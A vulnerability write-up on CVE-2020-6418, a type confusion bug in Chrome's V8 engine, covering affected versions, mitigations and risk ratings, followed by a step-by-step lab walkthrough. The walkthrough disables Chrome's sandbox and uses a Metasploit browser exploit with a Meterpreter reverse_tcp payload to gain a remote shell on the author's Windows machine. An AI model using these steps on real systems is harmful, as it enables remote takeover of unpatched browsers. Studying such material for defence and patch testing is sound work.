CVE-2020-6418 is a type confusion vulnerability in V8, Google Chrome’s open-source JavaScript
and WebAssembly engine.


Vulnerability Description


On February 25, security updates were released for Google Chrome and Microsoft Edge. The opensource JavaScript and WebAssembly engines in V8 in Google Chrome before 80.0.3987.122 and
Microsoft Edge browser before 80.0.361.62 are prone to a type confusion vulnerability (CVE-2020-
6418), which allows attackers to access data in an unauthorized way, thereby executing malicious
code.
V8 is Chrome’s component that’s responsible for processing JavaScript code.
A type confusion refers to coding bugs during which an app initializes data execution operations
using input of a specific “type” but is tricked into treating the input as a different “type.”
The “type confusion” leads to logical errors in the app’s memory and can lead to situations where an
attacker can run unrestricted malicious code inside an application.
Successful exploitation of the vulnerability could allow an attacker to execute arbitrary code in the
context of the browser. Depending on the privileges associated with the application, an attacker
could view, change, or delete data. If this application has been configured to have fewer user rights
on the system, exploitation of this vulnerability could have less impact than if it was configured
with administrative rights.

Scope of Impact
Affected Versions

• Google Chrome < 80.0.3987.122
• Microsoft Edge < 80.0.361.62
Unaffected Versions
• Google Chrome >= 80.0.3987.122
• Microsoft Edge = 80.0.361.62

Mitigations
Currently, both Google and Microsoft have released a new version to fix the preceding
vulnerability. Affected users are advised to upgrade as soon as possible.
• Apply the stable channel update provided by Google to vulnerable systems immediately
after appropriate testing.
• Run all software as a non-privileged user (one without administrative privileges) to diminish
the effects of a successful attack.
• Remind users not to visit un-trusted websites or follow links provided by unknown or untrusted sources.
• Inform and educate users regarding the threats posed by hypertext links contained in emails
or attachments especially from un-trusted sources.
• Apply the Principle of Least Privilege to all systems and services.

RISK:
Government:
• Large and medium government entities: HIGH
• Small government entities: MEDIUM
Businesses:
• Large and medium business entities: HIGH
• Small business entities: MEDIUM
Home Users:
LOW

EXPLOIT :
1. Before starting the crome we have to turn off the sandbox of out chrome.exe, for this lets open
our Command Promp in windows

2. Now lets navigate to our chrome.exe, in my case it is
> C:\Users\NAYAN\AppData\Local\Google\Chrome\Application

3. Also lets take a look at the ip of our windows machine for confirming the shell access using the
ip address.

4. Now in the directory were we have our chrome.exe file run the following command >
chrome.exe –no-sandbox
This command will open a chrome window with sandbox turned off.

5. This is our chrome window we got after we executed the command

6. Lets check the version of our chrome application. It should be prior to 80.0.3987.122. I have
80.0.3987.87 (x64)

7. Now in my Linux System ,

8. Starting the msfconsole ,

9. Search for the exploit ,
> search chrome_js

10. Now start with setting up the exploit
> use exploit/multi/browser/chrome_jscreate_sideeffect
>show options,

11. Now lets set the required parameters,
>set SRVHOST <our ip>
>set URIPATH /
>set payload windows/x64/meterpreter/reverse_tcp

12. > set LHOST <ip>

13. > show options

14. > set target 0
> run

15. The server has been started and we got an ip, we have to copy this ip and paste it in out
vulnerable

16. Now browse the ip the copied in the windows browser

17. The page will keep on loading, we should get a meterpreter on the other side

18. We got a meterpreter sessions opened

19. > sessions -i <session id>

20. >shell

21. finding the ip address, and we confirmed that we have gained the shell of our desired system

22. > whoami, we got desktop-jar4p3n\nayan das

23. Or we can do this through our meterpreter session

24. >sysinfo

Source:

https://dl.packetstormsecurity.net/papers/general/v8-typeconfusion.pdf